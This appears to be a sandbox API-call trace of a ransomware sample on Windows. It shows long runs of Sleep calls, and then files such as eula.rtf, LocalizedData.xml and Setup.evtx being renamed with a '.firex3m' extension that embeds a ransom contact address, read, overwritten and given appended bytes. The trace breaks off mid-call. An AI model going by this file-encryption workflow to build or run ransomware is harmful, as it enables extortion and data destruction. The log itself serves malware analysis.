[0076.190] Sleep (dwMilliseconds=0x1) [0076.387] Sleep (dwMilliseconds=0x1) [0076.534] Sleep (dwMilliseconds=0x1) [0076.674] Sleep (dwMilliseconds=0x1) [0076.707] Sleep (dwMilliseconds=0x1) [0076.779] Sleep (dwMilliseconds=0x1) [0076.799] Sleep (dwMilliseconds=0x1) [0076.840] Sleep (dwMilliseconds=0x1) [0076.873] Sleep (dwMilliseconds=0x1) [0076.919] Sleep (dwMilliseconds=0x1) [0076.986] Sleep (dwMilliseconds=0x1) [0077.063] Sleep (dwMilliseconds=0x1) [0077.149] Sleep (dwMilliseconds=0x1) [0077.220] Sleep (dwMilliseconds=0x1) [0077.291] Sleep (dwMilliseconds=0x1) [0077.358] Sleep (dwMilliseconds=0x1) [0077.414] Sleep (dwMilliseconds=0x1) [0077.518] Sleep (dwMilliseconds=0x1) [0077.599] Sleep (dwMilliseconds=0x1) [0077.647] Sleep (dwMilliseconds=0x1) [0077.691] Sleep (dwMilliseconds=0x1) [0077.734] Sleep (dwMilliseconds=0x1) [0077.784] Sleep (dwMilliseconds=0x1) [0077.831] Sleep (dwMilliseconds=0x1) [0077.858] Sleep (dwMilliseconds=0x1) [0077.910] Sleep (dwMilliseconds=0x1) [0077.961] Sleep (dwMilliseconds=0x1) [0077.980] Sleep (dwMilliseconds=0x1) [0077.996] Sleep (dwMilliseconds=0x1) [0078.059] Sleep (dwMilliseconds=0x1) [0078.092] Sleep (dwMilliseconds=0x1) [0078.119] Sleep (dwMilliseconds=0x1) [0078.133] Sleep (dwMilliseconds=0x1) [0078.193] Sleep (dwMilliseconds=0x1) [0078.223] Sleep (dwMilliseconds=0x1) [0078.238] Sleep (dwMilliseconds=0x1) [0078.252] Sleep (dwMilliseconds=0x1) [0078.272] Sleep (dwMilliseconds=0x1) [0078.285] Sleep (dwMilliseconds=0x1) [0078.314] Sleep (dwMilliseconds=0x1) [0078.359] Sleep (dwMilliseconds=0x1) [0078.380] Sleep (dwMilliseconds=0x1) [0078.512] Sleep (dwMilliseconds=0x1) [0078.536] Sleep (dwMilliseconds=0x1) [0078.557] Sleep (dwMilliseconds=0x1) [0078.573] Sleep (dwMilliseconds=0x1) [0078.606] Sleep (dwMilliseconds=0x1) [0078.630] Sleep (dwMilliseconds=0x1) [0078.642] Sleep (dwMilliseconds=0x1) [0078.663] Sleep (dwMilliseconds=0x1) [0078.672] Sleep (dwMilliseconds=0x1) [0078.708] Sleep (dwMilliseconds=0x1) [0078.721] Sleep (dwMilliseconds=0x1) [0078.738] Sleep (dwMilliseconds=0x1) [0078.754] Sleep (dwMilliseconds=0x1) [0078.770] Sleep (dwMilliseconds=0x1) [0078.786] Sleep (dwMilliseconds=0x1) [0078.838] Sleep (dwMilliseconds=0x1) [0078.886] Sleep (dwMilliseconds=0x1) [0078.895] Sleep (dwMilliseconds=0x1) [0078.927] Sleep (dwMilliseconds=0x1) [0078.945] Sleep (dwMilliseconds=0x1) [0078.957] Sleep (dwMilliseconds=0x1) [0078.978] Sleep (dwMilliseconds=0x1) [0079.003] Sleep (dwMilliseconds=0x1) [0079.031] Sleep (dwMilliseconds=0x1) [0079.049] Sleep (dwMilliseconds=0x1) [0079.080] Sleep (dwMilliseconds=0x1) [0079.098] Sleep (dwMilliseconds=0x1) [0079.116] Sleep (dwMilliseconds=0x1) [0079.129] Sleep (dwMilliseconds=0x1) [0079.159] Sleep (dwMilliseconds=0x1) [0079.224] Sleep (dwMilliseconds=0x1) [0079.250] Sleep (dwMilliseconds=0x1) [0079.269] Sleep (dwMilliseconds=0x1) [0079.286] Sleep (dwMilliseconds=0x1) [0079.300] Sleep (dwMilliseconds=0x1) [0079.315] Sleep (dwMilliseconds=0x1) [0079.330] Sleep (dwMilliseconds=0x1) [0079.348] Sleep (dwMilliseconds=0x1) [0079.361] Sleep (dwMilliseconds=0x1) [0079.387] Sleep (dwMilliseconds=0x1) [0079.418] Sleep (dwMilliseconds=0x1) [0079.449] Sleep (dwMilliseconds=0x1) [0079.521] Sleep (dwMilliseconds=0x1) [0079.535] Sleep (dwMilliseconds=0x1) [0079.550] Sleep (dwMilliseconds=0x1) [0079.596] Sleep (dwMilliseconds=0x1) [0079.615] Sleep (dwMilliseconds=0x1) [0079.625] Sleep (dwMilliseconds=0x1) [0079.646] Sleep (dwMilliseconds=0x1) [0079.656] Sleep (dwMilliseconds=0x1) [0079.680] Sleep (dwMilliseconds=0x1) [0079.691] Sleep (dwMilliseconds=0x1) [0079.736] Sleep (dwMilliseconds=0x1) [0079.803] Sleep (dwMilliseconds=0x1) [0079.813] Sleep (dwMilliseconds=0x1) [0079.833] Sleep (dwMilliseconds=0x1) [0079.888] Sleep (dwMilliseconds=0x1) [0079.918] Sleep (dwMilliseconds=0x1) [0079.930] Sleep (dwMilliseconds=0x1) [0079.941] Sleep (dwMilliseconds=0x1) [0079.983] Sleep (dwMilliseconds=0x1) [0080.051] Sleep (dwMilliseconds=0x1) [0080.067] Sleep (dwMilliseconds=0x1) [0080.087] Sleep (dwMilliseconds=0x1) [0080.097] Sleep (dwMilliseconds=0x1) [0080.139] Sleep (dwMilliseconds=0x1) [0080.157] Sleep (dwMilliseconds=0x1) [0080.176] Sleep (dwMilliseconds=0x1) [0080.241] Sleep (dwMilliseconds=0x1) [0080.257] Sleep (dwMilliseconds=0x1) [0080.272] Sleep (dwMilliseconds=0x1) [0080.282] Sleep (dwMilliseconds=0x1) [0080.304] Sleep (dwMilliseconds=0x1) [0080.312] Sleep (dwMilliseconds=0x1) [0080.346] Sleep (dwMilliseconds=0x1) [0080.358] Sleep (dwMilliseconds=0x1) [0080.387] Sleep (dwMilliseconds=0x1) [0080.413] Sleep (dwMilliseconds=0x1) [0080.423] Sleep (dwMilliseconds=0x1) [0080.444] Sleep (dwMilliseconds=0x1) [0080.500] Sleep (dwMilliseconds=0x1) [0080.529] Sleep (dwMilliseconds=0x1) [0080.552] Sleep (dwMilliseconds=0x1) [0080.564] Sleep (dwMilliseconds=0x1) [0080.586] Sleep (dwMilliseconds=0x1) [0080.602] Sleep (dwMilliseconds=0x1) [0080.618] Sleep (dwMilliseconds=0x1) [0080.657] Sleep (dwMilliseconds=0x1) [0080.676] Sleep (dwMilliseconds=0x1) [0080.706] Sleep (dwMilliseconds=0x1) [0080.720] Sleep (dwMilliseconds=0x1) [0080.768] Sleep (dwMilliseconds=0x1) [0080.785] Sleep (dwMilliseconds=0x1) [0080.808] Sleep (dwMilliseconds=0x1) [0080.816] Sleep (dwMilliseconds=0x1) [0080.842] Sleep (dwMilliseconds=0x1) [0080.892] Sleep (dwMilliseconds=0x1) [0080.915] Sleep (dwMilliseconds=0x1) [0080.925] Sleep (dwMilliseconds=0x1) [0080.939] Sleep (dwMilliseconds=0x1) [0080.960] Sleep (dwMilliseconds=0x1) [0080.975] Sleep (dwMilliseconds=0x1) [0080.992] Sleep (dwMilliseconds=0x1) [0081.001] Sleep (dwMilliseconds=0x1) [0081.029] Sleep (dwMilliseconds=0x1) [0081.052] Sleep (dwMilliseconds=0x1) [0081.283] Sleep (dwMilliseconds=0x1) [0081.435] Sleep (dwMilliseconds=0x1) [0081.528] Sleep (dwMilliseconds=0x1) [0081.553] Sleep (dwMilliseconds=0x1) [0081.568] Sleep (dwMilliseconds=0x1) [0081.578] Sleep (dwMilliseconds=0x1) [0081.603] Sleep (dwMilliseconds=0x1) [0081.610] Sleep (dwMilliseconds=0x1) [0081.632] Sleep (dwMilliseconds=0x1) [0081.661] Sleep (dwMilliseconds=0x1) [0081.689] Sleep (dwMilliseconds=0x1) [0081.710] Sleep (dwMilliseconds=0x1) [0081.756] Sleep (dwMilliseconds=0x1) [0081.777] Sleep (dwMilliseconds=0x1) [0081.788] Sleep (dwMilliseconds=0x1) [0081.834] Sleep (dwMilliseconds=0x1) [0081.847] Sleep (dwMilliseconds=0x1) [0081.887] Sleep (dwMilliseconds=0x1) [0081.913] Sleep (dwMilliseconds=0x1) [0081.923] Sleep (dwMilliseconds=0x1) [0081.948] Sleep (dwMilliseconds=0x1) [0081.964] Sleep (dwMilliseconds=0x1) [0081.974] Sleep (dwMilliseconds=0x1) [0081.983] Sleep (dwMilliseconds=0x1) [0082.006] Sleep (dwMilliseconds=0x1) [0082.032] Sleep (dwMilliseconds=0x1) [0082.054] Sleep (dwMilliseconds=0x1) [0082.065] Sleep (dwMilliseconds=0x1) [0082.116] Sleep (dwMilliseconds=0x1) [0082.128] Sleep (dwMilliseconds=0x1) [0082.156] Sleep (dwMilliseconds=0x1) [0082.195] Sleep (dwMilliseconds=0x1) [0082.214] Sleep (dwMilliseconds=0x1) [0082.233] Sleep (dwMilliseconds=0x1) [0082.258] Sleep (dwMilliseconds=0x1) [0082.277] Sleep (dwMilliseconds=0x1) [0082.294] Sleep (dwMilliseconds=0x1) [0082.309] Sleep (dwMilliseconds=0x1) [0082.370] Sleep (dwMilliseconds=0x1) [0082.418] Sleep (dwMilliseconds=0x1) [0082.540] Sleep (dwMilliseconds=0x1) [0082.588] Sleep (dwMilliseconds=0x1) [0082.636] Sleep (dwMilliseconds=0x1) [0082.684] Sleep (dwMilliseconds=0x1) [0082.728] Sleep (dwMilliseconds=0x1) [0082.777] Sleep (dwMilliseconds=0x1) [0082.821] Sleep (dwMilliseconds=0x1) [0082.871] Sleep (dwMilliseconds=0x1) [0082.915] Sleep (dwMilliseconds=0x1) [0082.969] Sleep (dwMilliseconds=0x1) [0083.015] Sleep (dwMilliseconds=0x1) [0083.056] Sleep (dwMilliseconds=0x1) [0083.103] Sleep (dwMilliseconds=0x1) [0083.151] Sleep (dwMilliseconds=0x1) [0083.200] Sleep (dwMilliseconds=0x1) [0083.243] Sleep (dwMilliseconds=0x1) [0083.292] Sleep (dwMilliseconds=0x1) [0083.338] Sleep (dwMilliseconds=0x1) [0083.385] Sleep (dwMilliseconds=0x1) [0083.437] Sleep (dwMilliseconds=0x1) [0083.702] Sleep (dwMilliseconds=0x1) [0083.752] Sleep (dwMilliseconds=0x1) [0083.801] Sleep (dwMilliseconds=0x1) [0083.913] Sleep (dwMilliseconds=0x1) [0084.012] Sleep (dwMilliseconds=0x1) [0084.093] Sleep (dwMilliseconds=0x1) [0084.201] Sleep (dwMilliseconds=0x1) [0084.343] Sleep (dwMilliseconds=0x1) [0084.737] Sleep (dwMilliseconds=0x1) [0084.811] Sleep (dwMilliseconds=0x1) [0084.876] Sleep (dwMilliseconds=0x1) [0084.961] Sleep (dwMilliseconds=0x1) [0085.045] Sleep (dwMilliseconds=0x1) [0085.126] Sleep (dwMilliseconds=0x1) [0085.176] Sleep (dwMilliseconds=0x1) [0085.347] Sleep (dwMilliseconds=0x1) [0085.389] Sleep (dwMilliseconds=0x1) [0085.737] Sleep (dwMilliseconds=0x1) [0085.830] Sleep (dwMilliseconds=0x1) [0085.964] Sleep (dwMilliseconds=0x1) [0086.082] Sleep (dwMilliseconds=0x1) [0086.187] Sleep (dwMilliseconds=0x1) [0086.236] Sleep (dwMilliseconds=0x1) [0086.294] Sleep (dwMilliseconds=0x1) [0086.352] Sleep (dwMilliseconds=0x1) [0086.588] Sleep (dwMilliseconds=0x1) [0086.898] Sleep (dwMilliseconds=0x1) [0087.091] Sleep (dwMilliseconds=0x1) [0087.471] Sleep (dwMilliseconds=0x1) [0088.059] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1033\\eula.rtf", len=0x23 | out: pbstr=0x313ff7c*="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 1 [0088.059] GetProcessHeap () returned 0x630000 [0088.059] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0418, Size=0x14) returned 0x6b02b8 [0088.059] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x690 [0088.060] CloseHandle (hObject=0x690) returned 1 [0088.060] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.060] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0088.060] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0088.060] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d54c0 [0088.060] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0088.060] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x690 [0088.061] GetProcessHeap () returned 0x630000 [0088.061] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc81) returned 0x6f06978 [0088.061] GetProcessHeap () returned 0x630000 [0088.061] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc81) returned 0x6f4b040 [0088.061] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.061] ReadFile (in: hFile=0x690, lpBuffer=0x6f06978, nNumberOfBytesToRead=0xc60, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f06978*, lpNumberOfBytesRead=0x313ff0c*=0xc60, lpOverlapped=0x0) returned 1 [0088.146] GetProcessHeap () returned 0x630000 [0088.146] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0088.146] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.146] WriteFile (in: hFile=0x690, lpBuffer=0x6f4b040*, nNumberOfBytesToWrite=0xc60, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4b040*, lpNumberOfBytesWritten=0x313ff0c*=0xc60, lpOverlapped=0x0) returned 1 [0088.146] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.146] WriteFile (in: hFile=0x690, lpBuffer=0x6f4bc9f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4bc9f*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0088.147] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.147] WriteFile (in: hFile=0x690, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0088.147] CloseHandle (hObject=0x690) returned 1 [0088.148] GetProcessHeap () returned 0x630000 [0088.148] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f4b040 | out: hHeap=0x630000) returned 1 [0088.148] GetProcessHeap () returned 0x630000 [0088.148] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f06978 | out: hHeap=0x630000) returned 1 [0088.148] GetProcessHeap () returned 0x630000 [0088.148] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0088.148] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0088.148] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xfa7c2aaf, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0xc98, dwReserved0=0xc3c7496, dwReserved1=0x6f06970, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5340 [0088.148] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0088.148] Sleep (dwMilliseconds=0x1) [0088.197] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", len=0x2c | out: pbstr=0x313ff7c*="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 1 [0088.197] GetProcessHeap () returned 0x630000 [0088.197] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0398, Size=0x10) returned 0x6b12f8 [0088.197] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x690 [0088.198] CloseHandle (hObject=0x690) returned 1 [0088.198] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.198] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0088.198] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0088.199] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d53c0 [0088.199] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0088.199] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x690 [0088.199] GetProcessHeap () returned 0x630000 [0088.199] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f62530 [0088.200] GetProcessHeap () returned 0x630000 [0088.200] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f6d960 [0088.200] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.200] ReadFile (in: hFile=0x690, lpBuffer=0x6f62530, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f62530*, lpNumberOfBytesRead=0x313ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0093.777] GetProcessHeap () returned 0x630000 [0093.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8960 [0093.777] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.778] WriteFile (in: hFile=0x690, lpBuffer=0x6f6d960*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f6d960*, lpNumberOfBytesWritten=0x313ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0093.778] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.778] WriteFile (in: hFile=0x690, lpBuffer=0x6f78d5f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f78d5f*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0093.778] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.778] WriteFile (in: hFile=0x690, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0093.778] CloseHandle (hObject=0x690) returned 1 [0093.780] GetProcessHeap () returned 0x630000 [0093.780] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f6d960 | out: hHeap=0x630000) returned 1 [0093.782] GetProcessHeap () returned 0x630000 [0093.782] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f62530 | out: hHeap=0x630000) returned 1 [0093.784] GetProcessHeap () returned 0x630000 [0093.784] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8960 | out: hHeap=0x630000) returned 1 [0093.784] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.784] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0xfdd8fdfc, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x119b0, dwReserved0=0xc3c7496, dwReserved1=0x6f62528, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5080 [0093.784] FindClose (in: hFindFile=0x6d5080 | out: hFindFile=0x6d5080) returned 1 [0093.784] Sleep (dwMilliseconds=0x1) [0095.922] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Boot\\el-GR\\memtest.exe.mui", len=0x1d | out: pbstr=0x313ff7c*="C:\\Boot\\el-GR\\memtest.exe.mui") returned 1 [0095.922] GetProcessHeap () returned 0x630000 [0095.922] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5000, Size=0x30) returned 0x66c728 [0095.922] CreateFileW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0095.922] Sleep (dwMilliseconds=0x1) [0097.921] Sleep (dwMilliseconds=0x1) [0099.478] Sleep (dwMilliseconds=0x1) [0100.793] Sleep (dwMilliseconds=0x1) [0101.516] Sleep (dwMilliseconds=0x1) [0102.157] Sleep (dwMilliseconds=0x1) [0102.381] Sleep (dwMilliseconds=0x1) [0102.528] Sleep (dwMilliseconds=0x1) [0102.776] Sleep (dwMilliseconds=0x1) [0102.986] Sleep (dwMilliseconds=0x1) [0103.135] Sleep (dwMilliseconds=0x1) [0103.269] Sleep (dwMilliseconds=0x1) [0103.545] Sleep (dwMilliseconds=0x1) [0105.075] Sleep (dwMilliseconds=0x1) [0107.097] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Logs\\Setup.evtx", len=0x12 | out: pbstr=0x313ff7c*="C:\\Logs\\Setup.evtx") returned 1 [0107.097] GetProcessHeap () returned 0x630000 [0107.097] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699888, Size=0x24) returned 0x699768 [0107.097] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0107.098] CloseHandle (hObject=0x700) returned 1 [0107.098] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.098] MoveFileW (lpExistingFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), lpNewFileName="C:\\Logs\\Setup.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\setup.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0107.099] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0107.099] FindFirstFileW (in: lpFileName="C:\\Logs\\Setup.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a6db2c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x95a6db2c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SETUPE~1.FIR")) returned 0x6d4ec0 [0107.099] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0107.099] CreateFileW 